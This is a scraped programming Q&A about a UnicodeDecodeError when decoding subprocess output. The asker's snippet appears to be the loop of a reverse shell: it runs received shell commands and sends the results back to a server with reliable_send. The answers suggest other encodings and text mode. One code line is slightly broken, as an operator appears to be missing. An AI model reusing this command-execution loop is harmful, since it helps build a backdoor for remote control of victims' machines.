Home > Blockchain >  result = result.decode('utf-8') UnicodeDecodeError: 'utf-8' codec can't dec
result = result.decode('utf-8') UnicodeDecodeError: 'utf-8' codec can't dec

Time:10-04

I have this code:

        try:
            execute = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
            print('execute', execute)
            result = execute.stdout.read()   execute.stderr.read()
            print('normal result', result)
            result = result.decode('utf-8')
            print('decoded result:  ', result)
            reliable_send(result)
        except:
            reliable_send('Something went wrong ;- (')

Some commands like whoami or arp-a are working fine and i receive the result to my server, but when i try to get dir or ipconfig this line result = result.decode('utf-8') throws an exception, what is the problem? Am I doing something wrong?

The error:

result = result.decode('utf-8') UnicodeDecodeError: 'utf-8' codec can't decode byte 0xff in position 321: invalid start byte

CodePudding user response:

I found the answer

result.decode('ISO-8859-1') kinda works, sometimes it returns something weird but overall it worked fine for me. If anyone knows better solution I would love to know it

CodePudding user response:

In your example subprocess.Popen has been opened in a byte stream mode so when there are non ASCII symbols the print can't interpets them well and raises an error.

If encoding or errors are specified, or text=True passed to subprocess.Popen, the file objects stdin, stdout and stderr are opened in text mode with the specified encoding and errors, as described above in Frequently Used Arguments.

You could experiment with PYTHONIOENCODING as well to get proper results.

  • Related